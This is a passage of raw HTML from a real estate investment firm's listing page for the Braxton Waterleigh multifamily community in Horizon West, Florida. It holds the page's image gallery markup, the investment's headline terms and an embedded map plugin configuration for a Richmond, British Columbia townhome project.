https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Braxton-Waterleigh-02-980x654.jpg 980w, https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Braxton-Waterleigh-02-480x320.jpg 480w\" sizes=\"(min-width: 0px) and (max-width: 480px) 480px, (min-width: 481px) and (max-width: 980px) 980px, (min-width: 981px) 1110px, 100vw\" class=\"wp-image-10731\" \/><\/span>nttt<\/div><div class=\"et_pb_module et_pb_image et_pb_image_7 et_pb_image_sticky\">nttttnttttntttt<span class=\"et_pb_image_wrap \"><img loading=\"lazy\" src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Braxton-Waterleigh-03.jpg\" alt=\"Braxton Waterleigh\" title=\"Braxton Waterleigh\" height=\"auto\" width=\"auto\" srcset=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Braxton-Waterleigh-03.jpg 1110w, https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Braxton-Waterleigh-03-980x654.jpg 980w, https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Braxton-Waterleigh-03-480x320.jpg 480w\" sizes=\"(min-width: 0px) and (max-width: 480px) 480px, (min-width: 481px) and (max-width: 980px) 980px, (min-width: 981px) 1110px, 100vw\" class=\"wp-image-10732\" \/><\/span>nttt<\/div><div class=\"et_pb_module et_pb_image et_pb_image_8 et_pb_image_sticky\">nttttnttttntttt<span class=\"et_pb_image_wrap \"><img loading=\"lazy\" src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Braxton-Waterleigh-04.jpg\" alt=\"Braxton Waterleigh\" title=\"Braxton Waterleigh\" height=\"auto\" width=\"auto\" srcset=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Braxton-Waterleigh-04.jpg 1110w, https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Braxton-Waterleigh-04-980x653.jpg 980w, https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Braxton-Waterleigh-04-480x320.jpg 480w\" sizes=\"(min-width: 0px) and (max-width: 480px) 480px, (min-width: 481px) and (max-width: 980px) 980px, (min-width: 981px) 1110px, 100vw\" class=\"wp-image-10733\" \/><\/span>nttt<\/div><div class=\"et_pb_module et_pb_image et_pb_image_9 et_pb_image_sticky\">nttttnttttntttt<span class=\"et_pb_image_wrap \"><img loading=\"lazy\" src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Braxton-Waterleigh-05.jpg\" alt=\"Braxton Waterleigh\" title=\"Braxton Waterleigh\" height=\"auto\" width=\"auto\" srcset=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Braxton-Waterleigh-05.jpg 1110w, https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Braxton-Waterleigh-05-980x654.jpg 980w, https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Braxton-Waterleigh-05-480x320.jpg 480w\" sizes=\"(min-width: 0px) and (max-width: 480px) 480px, (min-width: 481px) and (max-width: 980px) 980px, (min-width: 981px) 1110px, 100vw\" class=\"wp-image-10734\" \/><\/span>nttt<\/div><div class=\"et_pb_module et_pb_image et_pb_image_10 et_pb_image_sticky\">nttttnttttntttt<span class=\"et_pb_image_wrap \"><img loading=\"lazy\" src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Braxton-Waterleigh-06.jpg\" alt=\"Braxton Waterleigh\" title=\"Braxton Waterleigh\" height=\"auto\" width=\"auto\" srcset=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Braxton-Waterleigh-06.jpg 1110w, https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Braxton-Waterleigh-06-980x654.jpg 980w, https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Braxton-Waterleigh-06-480x320.jpg 480w\" sizes=\"(min-width: 0px) and (max-width: 480px) 480px, (min-width: 481px) and (max-width: 980px) 980px, (min-width: 981px) 1110px, 100vw\" class=\"wp-image-10735\" \/><\/span>nttt<\/div><div class=\"et_pb_module et_pb_image et_pb_image_11 et_pb_image_sticky\">nttttnttttntttt<span class=\"et_pb_image_wrap \"><img loading=\"lazy\" src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Braxton-Waterleigh-07.jpg\" alt=\"Braxton Waterleigh\" title=\"Braxton Waterleigh\" height=\"auto\" width=\"auto\" srcset=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Braxton-Waterleigh-07.jpg 1110w, https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Braxton-Waterleigh-07-980x651.jpg 980w, https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Braxton-Waterleigh-07-480x319.jpg 480w\" sizes=\"(min-width: 0px) and (max-width: 480px) 480px, (min-width: 481px) and (max-width: 980px) 980px, (min-width: 981px) 1110px, 100vw\" class=\"wp-image-10736\" \/><\/span>nttt<\/div><div class=\"et_pb_module et_pb_image et_pb_image_12 et_pb_image_sticky\">nttttnttttntttt<span class=\"et_pb_image_wrap \"><img loading=\"lazy\" src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Braxton-Waterleigh-08.jpg\" alt=\"Braxton Waterleigh\" title=\"Braxton Waterleigh\" height=\"auto\" width=\"auto\" srcset=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Braxton-Waterleigh-08.jpg 1110w, https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Braxton-Waterleigh-08-980x699.jpg 980w, https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Braxton-Waterleigh-08-480x342.jpg 480w\" sizes=\"(min-width: 0px) and (max-width: 480px) 480px, (min-width: 481px) and (max-width: 980px) 980px, (min-width: 981px) 1110px, 100vw\" class=\"wp-image-10737\" \/><\/span>nttt<\/div><div class=\"et_pb_module et_pb_image et_pb_image_13 et_pb_image_sticky\">nttttnttttntttt<span class=\"et_pb_image_wrap \"><img loading=\"lazy\" src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Braxton-Waterleigh-09.jpg\" alt=\"Braxton Waterleigh\" title=\"Braxton Waterleigh\" height=\"auto\" width=\"auto\" srcset=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Braxton-Waterleigh-09.jpg 1110w, https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Braxton-Waterleigh-09-980x663.jpg 980w, https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Braxton-Waterleigh-09-480x325.jpg 480w\" sizes=\"(min-width: 0px) and (max-width: 480px) 480px, (min-width: 481px) and (max-width: 980px) 980px, (min-width: 981px) 1110px, 100vw\" class=\"wp-image-10738\" \/><\/span>nttt<\/div><div class=\"et_pb_module et_pb_image et_pb_image_14 et_pb_image_sticky\">nttttnttttntttt<span class=\"et_pb_image_wrap \"><img loading=\"lazy\" src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Braxton-Waterleigh-10.jpg\" alt=\"Braxton Waterleigh\" title=\"Braxton Waterleigh\" height=\"auto\" width=\"auto\" srcset=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Braxton-Waterleigh-10.jpg 1110w, https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Braxton-Waterleigh-10-980x654.jpg 980w, https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Braxton-Waterleigh-10-480x320.jpg 480w\" sizes=\"(min-width: 0px) and (max-width: 480px) 480px, (min-width: 481px) and (max-width: 980px) 980px, (min-width: 981px) 1110px, 100vw\" class=\"wp-image-10739\" \/><\/span>nttt<\/div><div class=\"et_pb_module et_pb_image et_pb_image_15 et_pb_image_sticky\">nttttnttttntttt<span class=\"et_pb_image_wrap \"><img loading=\"lazy\" src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Braxton-Waterleigh-11.jpg\" alt=\"Braxton Waterleigh\" title=\"Braxton Waterleigh\" height=\"auto\" width=\"auto\" srcset=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Braxton-Waterleigh-11.jpg 1110w, https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Braxton-Waterleigh-11-980x680.jpg 980w, https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Braxton-Waterleigh-11-480x333.jpg 480w\" sizes=\"(min-width: 0px) and (max-width: 480px) 480px, (min-width: 481px) and (max-width: 980px) 980px, (min-width: 981px) 1110px, 100vw\" class=\"wp-image-10740\" \/><\/span>nttt<\/div><div class=\"et_pb_module et_pb_image et_pb_image_16 et_pb_image_sticky\">nttttnttttntttt<span class=\"et_pb_image_wrap \"><img loading=\"lazy\" src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Braxton-Waterleigh-12.jpg\" alt=\"Braxton Waterleigh\" title=\"Braxton Waterleigh\" height=\"auto\" width=\"auto\" srcset=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Braxton-Waterleigh-12.jpg 1110w, https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Braxton-Waterleigh-12-980x636.jpg 980w, https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Braxton-Waterleigh-12-480x311.jpg 480w\" sizes=\"(min-width: 0px) and (max-width: 480px) 480px, (min-width: 481px) and (max-width: 980px) 980px, (min-width: 981px) 1110px, 100vw\" class=\"wp-image-10741\" \/><\/span>nttt<\/div>nttt<\/div> <!-- .et_pb_column -->nttttnttttnttt<\/div> <!-- .et_pb_row -->nttttnttttnttt<\/div> <!-- .et_pb_section --><div class=\"et_pb_section et_pb_section_5 section-location-main-v2 et_section_regular\" >nttttnttttnttttnttttnttttt<div class=\"et_pb_row et_pb_row_7 row-header\">ntttt<div class=\"et_pb_column et_pb_column_4_4 et_pb_column_13  et_pb_css_mix_blend_mode_passthrough et-last-child\">nttttnttttntttt<div class=\"et_pb_module et_pb_post_title et_pb_post_title_1 et_pb_bg_layout_light  et_pb_text_align_left\"   >nttttnttttnttttntttt<div class=\"et_pb_title_container\">nttttt<h1 class=\"entry-title\">Braxton Waterleigh<\/h1>ntttt<\/div>nttttnttt<\/div><div class=\"et_pb_module et_pb_text et_pb_text_18  et_pb_text_align_left et_pb_bg_layout_light\">nttttnttttntttt<div class=\"et_pb_text_inner\">Horizon West, Florida<\/div>nttt<\/div> <!-- .et_pb_text -->nttt<\/div> <!-- .et_pb_column -->nttttnttttnttt<\/div> <!-- .et_pb_row --><div class=\"et_pb_row et_pb_row_8 row-location-info et_pb_gutters1\">ntttt<div class=\"et_pb_column et_pb_column_1_6 et_pb_column_14  et_pb_css_mix_blend_mode_passthrough\">nttttnttttntttt<div class=\"et_pb_module et_pb_text et_pb_text_19  et_pb_text_align_left et_pb_bg_layout_light\">nttttnttttntttt<div class=\"et_pb_text_inner\">Minimum<\/div>nttt<\/div> <!-- .et_pb_text --><div class=\"et_pb_module et_pb_text et_pb_text_20  et_pb_text_align_left et_pb_bg_layout_light\">nttttnttttntttt<div class=\"et_pb_text_inner\">$25K<\/div>nttt<\/div> <!-- .et_pb_text -->nttt<\/div> <!-- .et_pb_column --><div class=\"et_pb_column et_pb_column_1_6 et_pb_column_15  et_pb_css_mix_blend_mode_passthrough\">nttttnttttntttt<div class=\"et_pb_module et_pb_text et_pb_text_21  et_pb_text_align_left et_pb_bg_layout_light\">nttttnttttntttt<div class=\"et_pb_text_inner\">Distributions <\/div>nttt<\/div> <!-- .et_pb_text --><div class=\"et_pb_module et_pb_text et_pb_text_22  et_pb_text_align_left et_pb_bg_layout_light\">nttttnttttntttt<div class=\"et_pb_text_inner\">Monthly<\/div>nttt<\/div> <!-- .et_pb_text -->nttt<\/div> <!-- .et_pb_column --><div class=\"et_pb_column et_pb_column_1_6 et_pb_column_16  et_pb_css_mix_blend_mode_passthrough\">nttttnttttntttt<div class=\"et_pb_module et_pb_text et_pb_text_23  et_pb_text_align_left et_pb_bg_layout_light\">nttttnttttntttt<div class=\"et_pb_text_inner\">Annualized Returns<\/div>nttt<\/div> <!-- .et_pb_text --><div class=\"et_pb_module et_pb_text et_pb_text_24  et_pb_text_align_left et_pb_bg_layout_light\">nttttnttttntttt<div class=\"et_pb_text_inner\">25.1%<\/div>nttt<\/div> <!-- .et_pb_text -->nttt<\/div> <!-- .et_pb_column --><div class=\"et_pb_column et_pb_column_1_6 et_pb_column_17  et_pb_css_mix_blend_mode_passthrough\">nttttnttttntttt<div class=\"et_pb_module et_pb_text et_pb_text_25  et_pb_text_align_left et_pb_bg_layout_light\">nttttnttttntttt<div class=\"et_pb_text_inner\">Target Hold<\/div>nttt<\/div> <!-- .et_pb_text --><div class=\"et_pb_module et_pb_text et_pb_text_26  et_pb_text_align_left et_pb_bg_layout_light\">nttttnttttntttt<div class=\"et_pb_text_inner\">5 Years<\/div>nttt<\/div> <!-- .et_pb_text -->nttt<\/div> <!-- .et_pb_column --><div class=\"et_pb_column et_pb_column_1_6 et_pb_column_18  et_pb_css_mix_blend_mode_passthrough\">nttttnttttntttt<div class=\"et_pb_module et_pb_text et_pb_text_27  et_pb_text_align_left et_pb_bg_layout_light\">nttttnttttntttt<div class=\"et_pb_text_inner\">Property Type<\/div>nttt<\/div> <!-- .et_pb_text --><div class=\"et_pb_module et_pb_text et_pb_text_28  et_pb_text_align_left et_pb_bg_layout_light\">nttttnttttntttt<div class=\"et_pb_text_inner\">Multifamily<\/div>nttt<\/div> <!-- .et_pb_text -->nttt<\/div> <!-- .et_pb_column --><div class=\"et_pb_column et_pb_column_1_6 et_pb_column_19  et_pb_css_mix_blend_mode_passthrough et-last-child\">nttttnttttntttt<div class=\"et_pb_module et_pb_text et_pb_text_29  et_pb_text_align_left et_pb_bg_layout_light\">nttttnttttntttt<div class=\"et_pb_text_inner\">Asset Class<\/div>nttt<\/div> <!-- .et_pb_text --><div class=\"et_pb_module et_pb_text et_pb_text_30  et_pb_text_align_left et_pb_bg_layout_light\">nttttnttttntttt<div class=\"et_pb_text_inner\">Class A<\/div>nttt<\/div> <!-- .et_pb_text -->nttt<\/div> <!-- .et_pb_column -->nttttnttttnttt<\/div> <!-- .et_pb_row --><div class=\"et_pb_row et_pb_row_9 row-overview et_pb_gutters3\">ntttt<div class=\"et_pb_column et_pb_column_1_2 et_pb_column_20  et_pb_css_mix_blend_mode_passthrough\">nttttnttttntttt<div class=\"et_pb_module et_pb_text et_pb_text_31  et_pb_text_align_left et_pb_bg_layout_light\">nttttnttttntttt<div class=\"et_pb_text_inner\">Overview<br \/>nThis community is a 354-unit community completed in 2021, representing top-quality suburban living in a rapidly growing suburb of the Orlando MSA.<\/div>nttt<\/div> <!-- .et_pb_text -->nttt<\/div> <!-- .et_pb_column --><div class=\"et_pb_column et_pb_column_1_2 et_pb_column_21  et_pb_css_mix_blend_mode_passthrough et-last-child\">nttttnttttntttt<div class=\"et_pb_module et_pb_text et_pb_text_32 invested-module  et_pb_text_align_left et_pb_bg_layout_light\">nttttnttttntttt<div class=\"et_pb_text_inner\">100% Invested<\/div>nttt<\/div> <!-- .et_pb_text --><div class=\"et_pb_module et_pb_text et_pb_text_33 equity-module  et_pb_text_align_left et_pb_bg_layout_light\">nttttnttttntttt<div class=\"et_pb_text_inner\">$32,000,000 Equity<\/div>nttt<\/div> <!-- .et_pb_text -->nttt<\/div> <!-- .et_pb_column -->nttttnttttnttt<\/div> <!-- .et_pb_row -->nttttnttttnttt<\/div> <!-- .et_pb_section --><div class=\"et_pb_section et_pb_section_6 section-location-map et_section_regular\" >nttttnttttnttttnttttnttttt<div class=\"et_pb_row et_pb_row_10\">ntttt<div class=\"et_pb_column et_pb_column_4_4 et_pb_column_22  et_pb_css_mix_blend_mode_passthrough et-last-child\">nttttnttttntttt<div class=\"et_pb_module et_pb_text et_pb_text_34  et_pb_text_align_left et_pb_bg_layout_light\">nttttnttttntttt<div class=\"et_pb_text_inner\"><div class=\"wpgmp_map_container wpgmp-map-7\" rel=\"map7\"><div class=\"wpgmp_map_parent\"><div class=\"wpgmp_map \" style=\"width:100%; height:450px;\" id=\"map7\" ><\/div><\/div><\/div><style> .wpgmp-map-7  .wpgmp_infowindow .fc-item-title{background-image:none;font-family:-apple-system, BlinkMacSystemFont, \"Segoe UI\", Roboto, Oxygen-Sans, Ubuntu, Cantarell, \"Helvetica Neue\", sans-serif;font-weight:700;font-size:16px;color:rgba(0, 0, 0, 0.87);line-height:21.4286px;background-color:rgba(0, 0, 0, 0);font-style:normal;text-align:start;text-decoration:none solid rgba(0, 0, 0, 0.87);margin-top:0px;margin-bottom:5px;margin-left:0px;margin-right:0px;padding-top:0px;padding-bottom:0px;padding-left:0px;padding-right:0px;} .wpgmp-map-7 .wpgmp_locations{background-image:none;font-family:-apple-system, BlinkMacSystemFont, \"Segoe UI\", Roboto, Oxygen-Sans, Ubuntu, Cantarell, \"Helvetica Neue\", sans-serif;font-weight:400;font-size:15px;color:rgba(0, 0, 0, 0.87);line-height:21.4286px;background-color:rgba(0, 0, 0, 0);font-style:normal;text-align:start;text-decoration:none solid rgba(0, 0, 0, 0.87);margin-top:0px;margin-bottom:0px;margin-left:0px;margin-right:0px;padding-top:0px;padding-bottom:0px;padding-left:0px;padding-right:0px;} .wpgmp-map-7 .place_title{background-image:none;font-family:-apple-system, BlinkMacSystemFont, \"Segoe UI\", Roboto, Oxygen-Sans, Ubuntu, Cantarell, \"Helvetica Neue\", sans-serif;font-weight:400;font-size:15px;color:rgb(0, 115, 170);line-height:21.4286px;background-color:rgba(0, 0, 0, 0);font-style:normal;text-align:start;text-decoration:underline solid rgb(0, 115, 170);margin-top:0px;margin-bottom:0px;margin-left:0px;margin-right:0px;padding-top:0px;padding-bottom:0px;padding-left:0px;padding-right:0px;}<\/style><script>jQuery(document).ready(function($) {var map7 = $(\"#map7\").maps({\"map_options\":{\"center_lat\":\"49.13664139999999\",\"center_lng\":\"-123.1139252\",\"zoom\":10,\"map_type_id\":\"ROADMAP\",\"center_by_nearest\":false,\"fit_bounds\":false,\"center_circle_fillcolor\":\"#8CAEF2\",\"center_circle_fillopacity\":\".5\",\"center_circle_strokecolor\":\"#8CAEF2\",\"center_circle_strokeopacity\":\".5\",\"show_center_circle\":false,\"show_center_marker\":false,\"center_marker_icon\":\"http:\/\/wes.webzz.pro\/wp-content\/plugins\/wp-google-map-gold\/assets\/images\/\/default_marker.png\",\"center_circle_strokeweight\":\"1\",\"draggable\":true,\"scroll_wheel\":\"true\",\"gesture\":\"auto\",\"marker_default_icon\":\"https:\/\/www.canadianpassiveinvesting.com\/wp-content\/uploads\/2021\/02\/map-current-location.png\",\"infowindow_setting\":\"<div class=\"fc-main\">n<div class=\"fc-item-title\">{marker_title} <span class=\"fc-badge info\">{marker_category}<\/span><\/div>n<div class=\"fc-item-featured_image\">{marker_image} <\/div>n<p>{marker_message}<\/p>n<address><b>Address : <\/b>{marker_address}<\/address>n<\/div>n\",\"infowindow_geotags_setting\":\"<div class=\"post_body\">n<div class=\"location-image\"><a target=\"_blank\" href=\"{post_link}\">{post_featured_image}<\/a><\/div>n<div class=\"location-description\">n<div class=\"location-title\"><a target=\"_blank\" href=\"{post_link}\">{post_title}<\/a><\/div>n<table class=\"address\" \"=\"\">n<tbody>n<tr>n<td><img src=\"\/wp-content\/uploads\/2021\/02\/location-description-pin.svg\"><\/td>n<td>{marker_address}<\/td>n<\/tr>n<\/tbody>n<\/table>n<div class=\"category\"><span>{post_categories}<\/span><\/div>n<\/div>n<\/div>n\",\"infowindow_skin\":{\"name\":\"default\",\"type\":\"infowindow\",\"sourcecode\":\"<div class=\"fc-main\"><div class=\"fc-item-title\">{marker_title} <span class=\"fc-badge info\">{marker_category}<\/span><\/div> <div class=\"fc-item-featured_image\">{marker_image} <\/div>{marker_message}<address><b>Address : <\/b>{marker_address}<\/address><\/div>\"},\"infowindow_post_skin\":{\"name\":\"default\",\"type\":\"post\",\"sourcecode\":\"<div class=\"post_body\">rn<div class=\"location-image\"><a target=\"_blank\" href=\"{post_link}\">{post_featured_image}<\/a><\/div>rn<div class=\"location-description\">rn<div class=\"location-title\"><a target=\"_blank\" href=\"{post_link}\">{post_title}<\/a><\/div>rnrn<table class=\"address\" \"=\"\">rn<tbody><tr>rn<td><img src=\"\/wp-content\/uploads\/2021\/02\/location-description-pin.svg\"><\/td>rn<td>{marker_address}<\/td>rn<\/tr>rn<\/tbody><\/table>rn<div class=\"category\"><span>{post_categories}<\/span><\/div>rn<\/div>rn<\/div>\"},\"infowindow_drop_animation\":false,\"close_infowindow_on_map_click\":false,\"default_infowindow_open\":false,\"infowindow_open_event\":\"click\",\"infowindow_filter_only\":false,\"infowindow_click_change_zoom\":0,\"infowindow_click_change_center\":false,\"full_screen_control\":true,\"search_control\":true,\"zoom_control\":true,\"map_type_control\":true,\"street_view_control\":true,\"locateme_control\":false,\"mobile_specific\":false,\"zoom_mobile\":5,\"draggable_mobile\":true,\"scroll_wheel_mobile\":true,\"full_screen_control_position\":\"TOP_RIGHT\",\"search_control_position\":\"TOP_LEFT\",\"locateme_control_position\":\"TOP_LEFT\",\"zoom_control_position\":\"TOP_LEFT\",\"map_type_control_position\":\"TOP_RIGHT\",\"map_type_control_style\":\"HORIZONTAL_BAR\",\"street_view_control_position\":\"TOP_LEFT\",\"map_control\":false,\"screens\":{\"smartphones\":{\"map_zoom_level_mobile\":\"5\"},\"ipads\":{\"map_zoom_level_mobile\":\"5\"},\"large-screens\":{\"map_zoom_level_mobile\":\"5\"}},\"map_infowindow_customisations\":false,\"infowindow_width\":\"100%\",\"infowindow_border_color\":\"rgba(0, 0, 0, 0.0980392)\",\"infowindow_bg_color\":\"#fff\",\"show_infowindow_header\":false,\"min_zoom\":\"0\",\"max_zoom\":\"19\",\"zoom_level_after_search\":\"10\",\"url_filters\":false,\"doubleclickzoom\":false,\"bound_map_after_filter\":false,\"display_reset_button\":false,\"map_reset_button_text\":\"Reset\",\"height\":\"450\"},\"places\":[{\"source\":\"post\",\"title\":\"Kadium No4 Road TownHomes\",\"infowindow_content\":\"<div class=\"post_body\">rn<div class=\"location-image\"><a target=\"_blank\" href=\"https:\/\/www.cpicapital.ca\/kadium-no4-road-townhomes\/\"><div class=\"fc-feature-img\"><img alt=\"BlueWater Apartment Homes\" width=\"300\" height=\"200\" src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/BlueWater-Apartment-01-300x200.jpg\" class=\"wp-post-image   wpgmp_featured_image\" ><\/div><\/a><\/div>rn<div class=\"location-description\">rn<div class=\"location-title\"><a target=\"_blank\" href=\"https:\/\/www.cpicapital.ca\/kadium-no4-road-townhomes\/\">Kadium No4 Road TownHomes<\/a><\/div>rnrn<table class=\"address\" \"=\"\">rn<tbody><tr>rn<td><img src=\"\/wp-content\/uploads\/2021\/02\/location-description-pin.svg\"><\/td>rn<td>{marker_address}<\/td>rn<\/tr>rn<\/tbody><\/table>rn<div class=\"category\"><span>Multifamily<\/span><\/div>rn<\/div>rn<\/div>\",\"content\":\"\",\"address\":\"10340 No 4 Rd, Richmond, BC V7A 3R9, Canada\",\"location\":{\"lat\":\"49.13664139999999\",\"city\":\"Richmond\",\"state\":\"British Columbia\",\"country\":\"Canada\",\"lng\":\"-123.1139252\",\"redirect_custom_link\":\"\",\"onclick_action\":\"marker\",\"redirect_permalink\":\"https:\/\/www.cpicapital.ca\/kadium-no4-road-townhomes\/\",\"zoom\":10,\"extra_fields\":{\"post_excerpt\":\"\",\"post_content\":\"[et_pb_section fb_built=\"1\" module_class=\"section-location-gallery\" _builder_version=\"4.9.0\" _module_preset=\"default\" background_color=\"#f6f9fc\"][et_pb_row module_class=\"post-carousel\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_column type=\"4_4\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_image src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/1_image.jpg\" alt=\"1_image\" title_text=\"BlueWater Apartment Homes\" show_bottom_space=\"off\" force_fullwidth=\"on\" _builder_version=\"4.9.0\" _module_preset=\"default\" border_radii=\"on|5px|5px|5px|5px\"][\/et_pb_image][et_pb_image src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Screenshot_4.jpg\" alt=\"Screenshot_4\" title_text=\"BlueWater Apartment Homes\" show_bottom_space=\"off\" force_fullwidth=\"on\" _builder_version=\"4.9.0\" _module_preset=\"default\" border_radii=\"on|5px|5px|5px|5px\"][\/et_pb_image][et_pb_image src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Screenshot_1.jpg\" alt=\"Screenshot_1\" title_text=\"BlueWater Apartment Homes\" show_bottom_space=\"off\" force_fullwidth=\"on\" _builder_version=\"4.9.0\" _module_preset=\"default\" border_radii=\"on|5px|5px|5px|5px\"][\/et_pb_image][et_pb_image src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Screenshot_3.jpg\" alt=\"Screenshot_3\" title_text=\"BlueWater Apartment Homes\" show_bottom_space=\"off\" force_fullwidth=\"on\" _builder_version=\"4.9.0\" _module_preset=\"default\" border_radii=\"on|5px|5px|5px|5px\"][\/et_pb_image][et_pb_image src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Screenshot_2.jpg\" alt=\"Screenshot_2\" title_text=\"BlueWater Apartment Homes\" show_bottom_space=\"off\" force_fullwidth=\"on\" _builder_version=\"4.9.0\" _module_preset=\"default\" border_radii=\"on|5px|5px|5px|5px\"][\/et_pb_image][\/et_pb_column][\/et_pb_row][\/et_pb_section][et_pb_section fb_built=\"1\" admin_label=\"section-location-main-v2\" module_class=\"section-location-main-v2\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_row module_class=\"row-header\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_column type=\"4_4\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_post_title author=\"off\" date=\"off\" comments=\"off\" featured_image=\"off\" _builder_version=\"4.9.0\" _module_preset=\"default\"][\/et_pb_post_title][et_pb_text admin_label=\"Text - Subtitle\" _builder_version=\"4.9.0\" _module_preset=\"default\"]Richmond, British Columbia[\/et_pb_text][\/et_pb_column][\/et_pb_row][et_pb_row column_structure=\"1_6,1_6,1_6,1_6,1_6,1_6\" use_custom_gutter=\"on\" gutter_width=\"1\" module_class=\"row-location-info\" _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"][et_pb_column type=\"1_6\" _builder_version=\"3.25\" custom_padding=\"|||\" custom_padding__hover=\"|||\"][et_pb_text admin_label=\"Minimum\" _builder_version=\"4.9.0\" background_enable_color=\"off\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]<h6>Minimum<\/h6>[\/et_pb_text][et_pb_text _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]-[\/et_pb_text][\/et_pb_column][et_pb_column type=\"1_6\" _builder_version=\"3.25\" custom_padding=\"|||\" custom_padding__hover=\"|||\"][et_pb_text admin_label=\"Distributions\" _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]<h6>Distributions <\/h6>[\/et_pb_text][et_pb_text _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]-[\/et_pb_text][\/et_pb_column][et_pb_column type=\"1_6\" _builder_version=\"3.25\" custom_padding=\"|||\" custom_padding__hover=\"|||\"][et_pb_text admin_label=\"Annualized Returns\" _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]<h6>Annualized Returns<\/h6>[\/et_pb_text][et_pb_text _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]-[\/et_pb_text][\/et_pb_column][et_pb_column type=\"1_6\" _builder_version=\"3.25\" custom_padding=\"|||\" custom_padding__hover=\"|||\"][et_pb_text admin_label=\"Target Hold\" _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]<h6>Target Hold<\/h6>[\/et_pb_text][et_pb_text _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]-[\/et_pb_text][\/et_pb_column][et_pb_column type=\"1_6\" _builder_version=\"3.25\" custom_padding=\"|||\" custom_padding__hover=\"|||\"][et_pb_text admin_label=\"Property Type\" _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]<h6>Property Type<\/h6>[\/et_pb_text][et_pb_text _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]Ground-up Development[\/et_pb_text][\/et_pb_column][et_pb_column type=\"1_6\" _builder_version=\"3.25\" custom_padding=\"|||\" custom_padding__hover=\"|||\"][et_pb_text admin_label=\"Asset Class \" _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]<h6>Asset Class<\/h6>[\/et_pb_text][et_pb_text _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]Class A[\/et_pb_text][\/et_pb_column][\/et_pb_row][et_pb_row column_structure=\"1_2,1_2\" use_custom_gutter=\"on\" gutter_width=\"3\" module_class=\"row-overview\" 